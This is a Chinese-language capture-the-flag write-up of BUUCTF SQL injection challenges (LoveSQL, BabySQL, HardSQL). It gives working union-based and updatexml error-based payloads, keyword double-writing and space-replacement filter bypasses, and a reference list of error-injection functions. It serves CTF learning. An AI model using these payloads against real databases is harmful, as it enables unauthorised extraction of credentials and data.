BUUCTF Web
[极客大挑战 2019]LoveSQL
union注入
是sql注入类型
输入1' 发现不是数字型注入,那就是字符型注入。判断字段数,输入order by 4 #发现错误,就存在三个字段数
判断回显点:1' union select 1,2,3 #
判断回显点为2,3
判断数据库名 union select 1,2,database()
使用联合注入判断数据库名为geek
判断表名union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'
为两个geekuser,l0ve1ysq1,在l0ve1ysq1中可能存在flag
查找字段union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='geek' and table_name='l0ve1ysq1'
发现表里存在3个字段id,username,password
根据字段查信息 1' union select 1,group_concat(id,username,password),3 from l0ve1ysq1 #
发现flag
[极客大挑战 2019]BabySQL
(联合注入)
输入万能密码,发现错误
尝试SQL注入,发现or和by被过滤
试试联合注入,
1' union select 1,2 #
发现union select被过滤,我们尝试双写绕过,
1' ununionion seleselectct 1,2 #
显示所使用的select语句具有不同的列数,我们增加一列
1' ununionion seleselectct 1,2,3 #
回显了2和3,我们尝试database()和version()
知道了数据库为geek,版本为10.3.18-MariaDB
获取所有数据库
1' ununionion seleselectct 1,2,group_concat(schema_name) from information_schema.schemata #
关键信息被绕过,我们双写绕过from information获取到所有数据库名为mysql,test,geek,ctf,猜测在ctf中最有可能存在flag
我们获取ctf数据库中的表名
1' ununionion seleselectct 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='ctf' #
发现表名为Flag,我们获取表中的字段
1' ununionion seleselectct 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='Flag' #
获取表中字段名为flag,获取其中数据
1' ununionion seleselectct 1,2,group_concat(flag) frfromom ctf.Flag #
ctf.Flag意思就是ctf数据库里面的Flag数据表
[强网杯 2019]随便注
跟上一篇攻防世界题一样。
[极客大挑战 2019]HardSQL
我们输入1'
所以是单引号的字符型注入
这道题就是报错注入,并且and和空格都被过滤了
尝试爆数据库名:1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#
所以数据库名为geek
爆表名: 1'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#
表名为H4Dsq1
爆字段名:1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#
爆数据:1'or(updatexml(1,concat(0x7e,(select(group_concat(id,'~',username,'~',password))from(H4rDsq1)),0x7e),1))#
出来了前半段flag,还有后半段
1'or(updatexml(1,concat(0x7e,(select(group_concat(right(password,25)))from(H4rDsq1)),0x7e),1))#
拼接起来就好。
空格被过滤可以使用/**/或者()绕过
报错注入
在SQL注入的报错注入中,常用函数如下:
1. floor()
功能:它是一个数学函数,用于返回小于或等于一个给定数字的最大整数。在报错注入中,通过巧妙构造可以使它产生报错,从而获取数据。
示例: select count(*),concat((select database()),floor(rand(0)*2))x from information_schema.tables group by x;
2. extractvalue()
功能:这个函数用于从XML文档中提取值,在报错注入场景下,若构造的参数不符合XML格式要求,就会触发错误,利用此错误来显示想要的数据。
示例: and extractvalue(1,concat(0x7e,(select user()),0x7e));
3. updatexml()
功能:用于更新XML文档中的值。和extractvalue()类似,当参数构造不当时会报错,通过错误信息来获取数据。
示例: and updatexml(1,concat(0x7e,(select database()),0x7e),1);
在SQL注入中, 0x7e 是十六进制表示形式。在ASCII码中, 0x7e 对应的字符是 ~ (波浪号)。
在使用函数如 extractvalue() 和 updatexml() 进行报错注入时, 0x7e 常被用于连接( concat )查询到的数据,是为了更方便地在报错信息中定位和识别出想要获取的数据内容,因为它是一个比较特殊的标记符号。例如 and extractvalue(1,concat(0x7e,(select user()),0x7e)); ,当执行这个SQL语句发生错误时,查询出来的 user() 的值就会夹在两个 ~ 之间显示在报错信息里。